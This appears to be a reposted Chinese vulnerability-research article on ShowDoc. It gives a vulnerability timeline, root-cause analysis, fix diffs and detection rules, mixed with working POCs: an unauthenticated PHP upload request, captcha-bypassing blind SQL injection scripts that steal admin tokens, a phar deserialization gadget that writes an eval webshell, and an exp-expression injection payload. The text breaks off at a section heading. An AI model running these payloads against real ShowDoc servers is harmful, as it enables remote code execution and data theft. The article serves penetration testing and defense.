ShowDoc漏洞系列-完整版

admin 2026-09-10 04:48:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统梳理ShowDoc漏洞全景,涵盖未授权文件上传RCE、SQL注入与Phar反序列化组合链等关键漏洞,提供时间线、成因分析、POC及检测加固建议,并指出在野利用态势与修复版本差异,对渗透测试与企业安全建设具有实操参考价值。 综合评分: 90 文章分类: 漏洞分析,渗透测试,WEB安全,红队,安全建设


ShowDoc漏洞系列-完整版

安全很忙

2026年9月7日 18:59 湖北

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

系列定位:面向渗透测试人员与企业安全工程师的 ShowDoc 漏洞研究合集。 调研时间:2026-09-07(北京时间)。所有 POC 仅用于授权测试与自有环境复现(Vulhub / 本地 Docker),漏洞均已官方修复,请勿用于未授权场景。 检索范围:CVE/NVD、VulDB、EUVD、CNVD 渠道公开信息、Vulhub 复现环境、GitHub 官方仓库源码与补丁 commit、阿里云安全与长亭社区公开分析。


篇一:总览——ShowDoc 漏洞全景与时间线

1.1 目标背景

ShowDoc(github.com/star7th/showdoc)是基于 ThinkPHP 3.2.3 二次开发的开源文档管理系统,广泛用于 API 文档、数据字典、团队知识库场景。官网公开数据显示其服务用户超过 50 万、托管文档超过 1000 万份、10 万以上团队在使用(来源:showdoc.com.cn 首页计数,2026-09 读取)。私有化部署版本众多、常被直接暴露在互联网上,使其成为攻击者扫描器里的常见目标。

一个关键背景:该系统的底层框架 ThinkPHP 3.2 已停止维护多年,大量漏洞本质上是”旧框架缺陷 + 业务层未做二次防护”的组合,这也是 ShowDoc 漏洞史的主线。

1.2 漏洞时间线(已核验)

| 时间 | 编号 | 类型 | 前置条件 | 影响版本 | 修复版本 | | — | — | — | — | — | — | | 2020-08 | CNVD-2020-26585(后补 CVE-2025-0520) | 未授权文件上传 → RCE | 无需登录 | < 2.8.7 | 2.8.7 | | 2021 | CVE-2021-41745 | 未授权文件上传 | 无需登录 | 2.8.3 | 随 2.8.7 一并修复 | | 2021 | CVE-2021-3993 / 4017 / 4168 | CSRF | 受害者已登录 | 当期版本 | 2.10.4 前后陆续修复 | | 2021-12 | CVE-2021-4000 | 开放重定向 | 无 | 当期版本 | 已修复 | | 2022-01 | CVE-2022-0362 | SQL 注入(addUser) | 管理员 | < 2.10.3 | 2.10.3 | | 2022-02 | CVE-2022-0409 | 任意文件上传 | 需登录 | < 2.10.4 | 2.10.4 | | 2022-02~03 | CVE-2022-0940~1034(约 20 个) | 存储型 XSS(特殊扩展名上传) | 需登录 | < 2.10.4 | 2.10.4 | | 2022-01 | CVE-2022-0079 | 信息泄露(报错暴露配置) | 无 | 当期版本 | 已修复 | | 2024-06 | 无 CVE(OSCS 编号 MPS-d9mn-w0ph) | SQL 注入(pwd 接口) | 无需登录,需过验证码 | < 3.2.6 | 3.2.6 | | 2024-06 | 无 CVE(补丁 commit 8059835) | Phar 反序列化 → RCE | 需管理员 token | ≤ 3.2.4 | 3.2.5 | | 2026-04 | CVE-2026-6982 | SQL 注入(page/sort) | 需登录 + 项目编辑权限 | 2.10.02.10.10、3.03.8.0 | 3.8.1 |

数据来源:OpenCVE 收录 ShowDoc 供应商下共 43 条 CVE 记录(opencve.io,2026-09 查询);2024 年两个高危漏洞无 CVE 编号,仅有 OSCS 编号与官方补丁 commit,容易被企业漏报,本系列重点覆盖。

1.3 在野利用态势(事实核验)

  • 阿里云安全团队 2021 年 5 月报告:攻击者利用 ShowDoc 未授权文件上传漏洞(同族漏洞,CNVD-2020-49480,成因见篇二)自动化上传 Webshell,进而植入 DDoS 木马(Srv-Hello、Mirai、BillGates 家族)与门罗币挖矿程序,最早于 2021-04-24 被监测到(来源:developer.aliyun.com/article/788086)。
  • 2025 年 VulnCheck 为 CNVD-2020-26585 补充申请 CVE-2025-0520(CVSS 4.0: 9.4),并确认存在公开 PoC、可未授权利用、已被武器化(来源:cvefeed.io/vuln/detail/CVE-2025-0520)。
  • CVE-2026-6982 披露信息中,厂商明确表示不会向旧受影响版本回移补丁(”the vendor explicitly stated they will not backport patches to the older affected versions”,来源:VulDB VDB-359525 / CVE 记录),这意味着大量停在 2.x/3.x 早期版本的存量实例将长期带洞运行。

1.4 资产-威胁-信任边界关系(干货对象 1)

资产:ShowDoc 实例 = 文档内容 + 附件 + user_token 表 + LDAP/数据库连接配置&nbsp; &nbsp; &nbsp;&nbsp;边界1:互联网 ↔ ShowDoc Web 前端(pre-auth 面:pwd、uploadImg、createCaptcha)&nbsp; &nbsp; &nbsp;&nbsp;边界2:ShowDoc Web ↔ SQLite(server/Sqlite/showdoc.db.php,默认数据库文件)&nbsp; &nbsp; &nbsp;&nbsp;边界3:ShowDoc Web ↔ 服务器文件系统(Public/Uploads 上传目录 + phar:// 流封装)&nbsp; &nbsp; &nbsp;&nbsp;威胁:未授权上传落盘(边界1直接穿透边界3);SQL 注入盗 user_token(边界1→边界2→回穿边界1);phar 反序列化(边界1→边界3)&nbsp; &nbsp; &nbsp;&nbsp;控制措施:版本升级 + 上传目录禁执行 PHP + WAF + 收敛公网暴露面

篇二:一个 POST 拿下服务器——未授权文件上传 RCE(CNVD-2020-26585 / CVE-2025-0520)

2.1 结论先行

  • 漏洞点:/index.php?s=/home/page/uploadImg,无需任何登录,上传文件名使用 <> 等特殊字符绕过后缀白名单,落盘为 .php,直接 GetShell。
  • 影响:ShowDoc < 2.8.7,修复于 2.8.7(commit fb77dd4、e1cd02a,PR #1059)。
  • 该漏洞 2020 年披露后,2021 年即被用于在野投毒(僵尸网络 + 挖矿),2025 年被 VulnCheck 补充 CVE-2025-0520 并确认武器化。

2.2 成因分析

两个缺陷叠加(来源:Vulhub 复现环境 + 阿里云公开分析):

  1. 上传接口无鉴权:PageController::uploadImg 走 Home 模块路由,未继承需要登录态的 BaseController 校验,任何人可直接 POST。
  2. 后缀白名单失效:ShowDoc 参考了 ThinkPHP 3.1 的 $upload->allowExts 写法,而实际运行在 TP 3.2(正确写法是 $upload->exts),导致后缀白名单根本未生效;同时文件名处理上,<> 等字符在路径拼接/校验环节被剔除,test.<>php 通过校验后落盘为 test.php

这就是”旧框架迁移代码”的典型事故:API 名称变了,旧调用静默失效,白名单形同虚设。

2.3 POC(Vulhub 官方复现包,Burp 风格)

环境:docker compose up -d(vulhub/showdoc/CNVD-2020-26585,内置 ShowDoc 2.8.2)

POST /index.php?s=/home/page/uploadImg HTTP/1.1&nbsp; &nbsp; &nbsp;&nbsp;Host: localhost:8080&nbsp; &nbsp; &nbsp;&nbsp;Accept-Encoding: gzip, deflate, br&nbsp; &nbsp; &nbsp;&nbsp;Accept: */*&nbsp; &nbsp; &nbsp;&nbsp;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)&nbsp; &nbsp; &nbsp;&nbsp;Connection: close&nbsp; &nbsp; &nbsp;&nbsp;Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0RdOKBR8AmAxfRyl&nbsp; &nbsp; &nbsp;&nbsp;Content-Length: 213&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;------WebKitFormBoundary0RdOKBR8AmAxfRyl&nbsp; &nbsp; &nbsp;&nbsp;Content-Disposition: form-data; name=”editormd-image-file”; filename=”test.<>php”&nbsp; &nbsp; &nbsp;&nbsp;Content-Type: text/plain&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;<?=phpinfo();?>&nbsp; &nbsp; &nbsp;&nbsp;------WebKitFormBoundary0RdOKBR8AmAxfRyl--

返回体直接给出落盘 URL,访问即执行 phpinfo()。将 payload 换成一句话/行为伪装的 Webshell 即为完整利用(该利用方式 2021 年已被阿里云确认在野使用)。

2.4 检测与加固(当天可执行)

| 动作 | 执行者 | 验收条件 | | — | — | — | | 版本核对:后台「关于/更新」或 curl -s http://target/server/index.php | grep -o 'v[0-9.]*' | 运维 | 任何 < 2.8.7 版本立即进入升级流程 | | 上传目录排查:检查 Public/Uploads/ 各日期目录是否存在 .php 文件(阿里云排查口径) | 运维/安全 | 发现 php 文件即按失陷处置:隔离主机、查 crontab 与对外连接 | | 上传目录禁执行:Nginx 加 location ^~ /Public/Uploads/ { deny all; return 403; }(或 php-fpm 该目录解析关闭) | 运维 | 目录内 php 请求返回 403 | | 全网测绘:FOFA app="ShowDoc" 核对资产清单与责任人 | 安全团队 | 每个实例有明确责任人 + 版本记录 |


篇三:从盲注到 GetShell——前台 SQL 注入 × Phar 反序列化组合链(< 3.2.6 / ≤ 3.2.4)

3.1 结论先行

这是 ShowDoc 漏洞史上链路最完整的一条攻击链,2024 年 6 月官方先后发版修复:

前台&nbsp;SQL&nbsp;注入(/api/Item/pwd,≤3.2.5)&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;→&nbsp;逐字符爆破 user_token 表&nbsp;→&nbsp;拿到管理员 token&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;→&nbsp;以管理员身份上传 phar 伪装文件(附件功能)&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→&nbsp;触发 is_dir($file) 的 phar:// 反序列化(≤3.2.4)&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;→&nbsp;GuzzleHttp\FileCookieJar::__destruct&nbsp;写文件&nbsp;→&nbsp;WebShell&nbsp;→&nbsp;RCE
  • SQL 注入修复:v3.2.6(commit 84fc28d,where 拼接改参数绑定)
  • Phar 反序列化修复:v3.2.5(commit 8059835,new_is_writeable 从 public 改 private)
  • 两个修复版本不一致,意味着 3.2.5 版本仍然处于”可注入 + 不可反序列化”状态,3.2.5 以下两者皆可。

3.2 SQL 注入点代码分析(逐行)

漏洞文件 server/Application/Api/Controller/ItemController.class.php:

&nbsp;public&nbsp;function&nbsp;pwd()&nbsp;{&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$item_id&nbsp; &nbsp;=&nbsp;I(”item_id”); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// ← 无 /d 修饰,原样取值&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$page_id&nbsp; &nbsp;=&nbsp;I(”page_id/d”);&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$password&nbsp; =&nbsp;I(”password”);&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$refer_url&nbsp;=&nbsp;I('refer_url');&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$captcha_id&nbsp;=&nbsp;I(”captcha_id”);&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$captcha&nbsp; &nbsp;=&nbsp;I(”captcha”);&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;// ... 验证码校验(每次注入都要先过一次验证码)&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$item&nbsp;=&nbsp;D(”Item”)->where(”item_id =&nbsp;'$item_id'”)->find(); &nbsp;&nbsp;// ← 直接拼接&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;if&nbsp;($password&nbsp;&&&nbsp;$item['password'] ==&nbsp;$password) {&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;session(”visit_item_” .&nbsp;$item_id,&nbsp;1);&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->sendResult(array(”refer_url” =>&nbsp;base64_decode($refer_url)));&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->sendError(10010,&nbsp;L('access_password_are_incorrect'));&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; }&nbsp; &nbsp; &nbsp;&nbsp;}
  • $item_id

    被直接拼进 where 字符串,该接口无登录要求(访问密码验证接口)。

  • 缓解因素:需要提交 captcha_id + captcha,验证码一次一过期——提高了自动化门槛,但可以被 OCR 打掉(见 POC)。

  • 回显逻辑:$item['password'] == $password 成立时返回 base64_decode($refer_url),而联合查询可控制 password 字段值,形成布尔回显。

3.3 注入 POC(Burp 原始包)

POST&nbsp;/server/index.php?s=/Api/Item/pwd HTTP/1.1&nbsp; &nbsp; &nbsp;&nbsp;Host:&nbsp;127.0.0.1:4999&nbsp; &nbsp; &nbsp;&nbsp;Content-Type: application/x-www-form-urlencoded&nbsp; &nbsp; &nbsp;&nbsp;Cookie: PHPSESSID=04d3132934531e78f6608229071059ac&nbsp; &nbsp; &nbsp;&nbsp;Connection: close&nbsp; &nbsp; &nbsp;&nbsp;Content-Length:&nbsp;123&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;captcha=8856&captcha_id=87&item_id=1')+union+select+1,2,3,4,5,6,7,8,9,0,11,12+--&password=6&refer_url=aGVsbG8=
  • 第 6 列对位 password 字段,故传 password=6 使条件恒真;
  • 返回体 error_code=0 即注入成立;error_code=10010 为条件不成立(布尔盲注判据);10206 为验证码过期需重取。

3.4 自动化爆破 user_token(公开 POC 思路)

登录态校验逻辑(BaseController::checkLogin):从请求取 user_token → 查 UserToken 表未超时记录 → 取 uid 登录。因此只要从 user_token 表拖出未超时 token,即可直接以对应身份(含管理员 uid=1)调用后台接口。

公开 POC(github.com/eeeeeeeeee-code/POC)用 ddddocr 自动过验证码 + 逐字符布尔盲注,核心逻辑:

# 获取验证码&nbsp; &nbsp; &nbsp;&nbsp;data&nbsp;= requests.get(f”{base}?s=/api/common/createCaptcha”).json()&nbsp; &nbsp; &nbsp;&nbsp;captcha_id =&nbsp;data['data']['captcha_id']&nbsp; &nbsp; &nbsp;&nbsp;img = requests.get(f'{base}?s=/api/common/showCaptcha&captcha_id={captcha_id}').content&nbsp; &nbsp; &nbsp;&nbsp;captcha_text = ocr.classification(img)&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;# ddddocr 识别&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;# 逐字符爆破 token(user_token 表 uid=1)&nbsp; &nbsp; &nbsp;&nbsp;data&nbsp;= requests.get(base, params={&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;'s':&nbsp;'/api/item/pwd',&nbsp;'page_id':&nbsp;'0',&nbsp;'password':&nbsp;'1',&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;'captcha_id': captcha_id,&nbsp;'captcha': captcha_text,&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;'item_id': (”aa') UNION SELECT 1,1,1,1,1,”&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;”(SELECT 1 FROM user_token WHERE uid = 1 ”&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;”AND token LIKE '{prefix}{ch}%' LIMIT 1),”&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;”1,1,1,1,1,1,1 FROM user_token; -- ”&nbsp; &nbsp; &nbsp;&nbsp;}).json()&nbsp; &nbsp; &nbsp;&nbsp;# error_code == 0 → 命中当前字符;10010 → 换下一个字符;10206 → 验证码过期重取

3.5 Phar 反序列化分析(≤3.2.4)

漏洞文件 server/Application/Home/Controller/IndexController.class.php:

public&nbsp;function&nbsp;new_is_writeable($file)&nbsp;{&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;// $file 可控 → is_dir 触发 phar:// 流封装反序列化&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;if&nbsp;(is_dir($file)) { ... }&nbsp; &nbsp; &nbsp;&nbsp;}
  • v3.2.5 修复方式:将该方法从 public 改为 private(commit 8059835)。
  • 利用链:环境自带 GuzzleHttp,GuzzleHttp\Cookie\FileCookieJar::__destruct 会把 cookie 数据写往 $filename —— 通过 phar 的 metadata 反序列化控制该对象,即实现任意路径写文件,写入 <?php ...?> 即 WebShell。
  • phar 生成 exp(长亭社区公开版本,节选):
namespace GuzzleHttp\Cookie {&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;class&nbsp;FileCookieJar&nbsp;extends&nbsp;CookieJar&nbsp;{&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; private&nbsp;$filename&nbsp;= ”/var/www/html/server/test.php”; &nbsp;//&nbsp;落盘路径&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; private&nbsp;$storeSessionCookies&nbsp;= true;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; }&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;class&nbsp;CookieJar&nbsp;{&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; private&nbsp;$cookies;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; public function __construct() {&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->cookies = array(new SetCookie());&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; }&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;class&nbsp;SetCookie&nbsp;{&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; private&nbsp;$data&nbsp;= array('Expires'&nbsp;=>&nbsp;'<?php @eval($_POST[cmd]); ?>');&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; }&nbsp; &nbsp; &nbsp;&nbsp;}&nbsp; &nbsp; &nbsp;&nbsp;namespace {&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$phar&nbsp;= new Phar(”phar.phar”);&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$phar->startBuffering();&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$phar->setStub(”GIF89a” . ”<?php __HALT_COMPILER(); ?>”);&nbsp;//&nbsp;GIF 头绕过类型检测&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$phar->setMetadata(new \GuzzleHttp\Cookie\FileCookieJar());&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$phar->addFromString(”test.txt”, ”test”);&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$phar->stopBuffering();&nbsp; &nbsp; &nbsp;&nbsp;}

将生成的 phar.phar 改后缀为可上传类型(如 .gif),用管理员 token 通过附件接口上传,再访问触发点完成利用。

3.6 检测与加固

| 场景 | 检测逻辑 | 误报/漏报说明 | | — | — | — | | WAF/雷池规则 | URL 含 /api/item/pwd(或 /api/Item/pwd,TP 路由大小写不敏感)且 item_id 参数含 ')union selectfrom user_token | 正常访问密码项目时 item_id 为纯数字;注意攻击者可用注释与编码变形,建议同时匹配 token LIKE | | 日志回溯 | 统计同一 PHPSESSID 短时间内大量请求 createCaptcha + showCaptcha + pwd 三元组 | OCR 打码的典型行为特征:验证码请求次数 ≈ 注入请求次数;正常用户 1 次/次访问 | | 数据库侧 | SQLite 无审计日志时,检查 user_token 表是否存在异常查询痕迹(需开启 DB 层慢日志/trace) | 漏报风险高,建议以访问日志为准 |

处置优先级:≥ 3.2.6(当前最新 3.9.4);无法升级时收敛公网暴露 + WAF 规则兜底。


篇四:CVE-2026-6982——厂商拒绝补旧版:page/sort 全系 SQL 注入(2026 最新)

4.1 结论先行

  • 披露:2026-04-25(VulDB VDB-359525,报告人 LIU Tingwei,EUVD-2026-25658 / GHSA-fm5r-cj7v-rj2c)。
  • 影响版本:2.10.0 ~ 2.10.10、3.0 ~ 3.8.0 全系(官方修复仅提供 v3.8.1,且明确不为旧版本回移补丁)。
  • 前置条件:有效登录凭证 + 对目标项目具备编辑权限(CVSS 3.1: 6.3,PR:L),所以它不是 pre-auth 漏洞,危害低于篇二/篇三,但对”低权限成员提权读取整库数据”仍然成立。
  • 公开状态:VulDB 记录 “No exploit is available”,原始 advisory 的 Gist 已不可访问(404)。下述代码级利用分析为作者基于 v3.8.0 与 v3.8.1 源码 diff 的独立推断,已在本地代码审读中验证逻辑成立,标注为”推断”,供授权测试参考。

4.2 漏洞代码(v3.8.0,PageController::sort)

//同一个目录下的页面排序&nbsp; &nbsp; &nbsp;&nbsp;public&nbsp;function&nbsp;sort()&nbsp; &nbsp; &nbsp;&nbsp;{&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$pages&nbsp;=&nbsp;I(”pages”); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// JSON 字符串,无类型修饰&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$item_id&nbsp;=&nbsp;I(”item_id/d”);&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$login_user&nbsp;=&nbsp;$this->checkLogin();&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;if&nbsp;(!$this->checkItemEdit($login_user['uid'],&nbsp;$item_id)) {&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->sendError(10103); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 需登录 + 项目编辑权限&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; }&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$data_array&nbsp;=&nbsp;json_decode(htmlspecialchars_decode($pages),&nbsp;true);&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;if&nbsp;($data_array) {&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;foreach&nbsp;($data_array&nbsp;as&nbsp;$key&nbsp;=>&nbsp;$value) {&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$ret&nbsp;=&nbsp;D(”Page”)->where(” page_id =&nbsp;'%d'&nbsp;and&nbsp;item_id =&nbsp;'%d'&nbsp;”,&nbsp;array($key,&nbsp;$item_id))&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ->save(array(”s_number” =>&nbsp;$value)); &nbsp;&nbsp;// ← $value 未做任何类型校验&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; }&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$this->sendResult(array());&nbsp; &nbsp; &nbsp;&nbsp;}

4.3 注入原理(作者推断:ThinkPHP 3.2 exp 表达式注入)

关键在于 json_decode(…, true) 的第二个参数——解析结果允许嵌套数组。而 ThinkPHP 3.2 的 Db::parseSet 对数组类型字段值有特殊分支:

// ThinkPHP 3.2 内核逻辑(简化)&nbsp; &nbsp; &nbsp;&nbsp;foreach&nbsp;($data&nbsp;as&nbsp;$key=>$val){&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;if(is_array($val) &&&nbsp;'exp'&nbsp;==&nbsp;$val[0]){&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$set[] =&nbsp;$this->parseKey($key).'='.$val[1]; &nbsp;&nbsp;// ← $val[1] 原样拼入 SET 子句,无转义&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; }&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; ...&nbsp; &nbsp; &nbsp;&nbsp;}

当 JSON 的 value 是 {“0″:”exp”,”1″:””} 结构时,解码后恰好是 array(0=>’exp’, 1=>”),满足 exp 分支,$val[1] 直接进入 UPDATE 语句的 SET 子句。htmlspecialchars_decode 的存在保证了即使 I() 默认过滤器转义了特殊字符,也会被还原回来。

验证(授权环境/本地 Docker star7th/showdoc:v3.8.0)构造思路:

POST&nbsp;/server/index.php?s=/api/page/sort HTTP/1.1&nbsp; &nbsp; &nbsp;&nbsp;Host: target:4999&nbsp; &nbsp; &nbsp;&nbsp;Content-Type: application/x-www-form-urlencoded&nbsp; &nbsp; &nbsp;&nbsp;Cookie: PHPSESSID=<有效会话>&nbsp; &nbsp; &nbsp;&nbsp;Connection: close&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;item_id=<你有编辑权限的项目ID>&pages={”<该项目的page_id>”:{”0”:”exp”,”1”:”updatexml(1,concat(0x7e,(select%20user())),1)”}}
  • MySQL 环境:报错注入直接回显(updatexml/extractvalue);
  • SQLite 环境(默认):无报错回显,改用时间盲注变体判断真伪;
  • 判定依据:响应体是否返回数据库报错信息 / 响应延迟差异。

4.4 官方修复(v3.8.1 diff 逐行对照)

foreach&nbsp;($data_array&nbsp;as&nbsp;$key&nbsp;=>&nbsp;$value) {&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$key&nbsp;=&nbsp;intval($key); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// ← 新增&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$value&nbsp;=&nbsp;intval($value); &nbsp; &nbsp; &nbsp; &nbsp;// ← 新增:数组经 intval 一律转 1/0,exp 结构被消灭&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$item_id&nbsp;=&nbsp;intval($item_id); &nbsp;&nbsp;// ← 新增&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;if&nbsp;($key&nbsp;<=&nbsp;0&nbsp;||&nbsp;$item_id&nbsp;<=&nbsp;0) {&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ← 新增:非法 page_id 直接跳过&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; }&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;$ret&nbsp;=&nbsp;D(”Page”)->where(” page_id =&nbsp;'%d'&nbsp;and&nbsp;item_id =&nbsp;'%d'&nbsp;”,&nbsp;array($key,&nbsp;$item_id))&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; ->save(array(”s_number” =>&nbsp;$value));&nbsp; &nbsp; &nbsp;&nbsp;}

修复思路印证了注入向量判断:官方没有改 where、没有改 save,只对循环变量做了整型收敛——说明官方确认的风险入口就是 $value 的类型不受控。

4.5 风险判断与建议

  • 存量 2.x/3.x 实例永远等不到补丁(厂商不回移),建议一律升到 ≥ 3.8.1(当前最新 3.9.4,2026-09-04 发布)。
  • 检测规则(当天可落地):访问日志中 URI 含 /api/page/sort 且 POST body 出现 "0":"exp" 或 {"0\u0000...exp 变体(注意 JSON 编码 "0":"exp" 的字面匹配);正常前端拖拽排序只会发送 {"pageid": 数字} 结构,出现嵌套对象即为异常。

篇五:六年 43 个 CVE 的集中塌方——huntr 批量漏洞与存量风险盘点(2021-2022)

2021-2022 年 huntr.dev 平台对 ShowDoc 做过一轮集中挖掘(约 33 个 CVE),单个漏洞价值有限,但组合起来刻画了 2.10.4 之前版本的完整弱点面。渗透测试中遇到 2.x 版本可按下表快速核对。

5.1 CVE-2022-0362:addUser 接口 SQL 注入(< 2.10.3)

管理员后台添加用户处,uid 参数未过滤直接拼接(huntr 报告 e7c72417)。时间盲注 POC(SQLite 环境):

POST&nbsp;/server/index.php?s=/api/adminUser/addUser HTTP/1.1&nbsp; &nbsp; &nbsp;&nbsp;Host: host.com&nbsp; &nbsp; &nbsp;&nbsp;Content-Type: application/x-www-form-urlencoded&nbsp; &nbsp; &nbsp;&nbsp;Cookie: PHPSESSID=<管理员会话>&nbsp; &nbsp; &nbsp;&nbsp;Connection: close&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;name=laladee&uid=10'+and+1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))+and+'1'='1&username=laladee
  • 注意 CVSS 评分存在来源分歧:NVD 渠道显示 9.8(cvefeed 记录),但该漏洞需要管理员权限(PR:H),VulDB/controlassurance 按 6.7 评估更贴近实际利用条件。评分分歧不影响处置结论:升级 ≥ 2.10.3。
  • 修复 commit:2b34e26。

5.2 CSRF 系列(CVE-2021-3993 / 4017 / 4168)

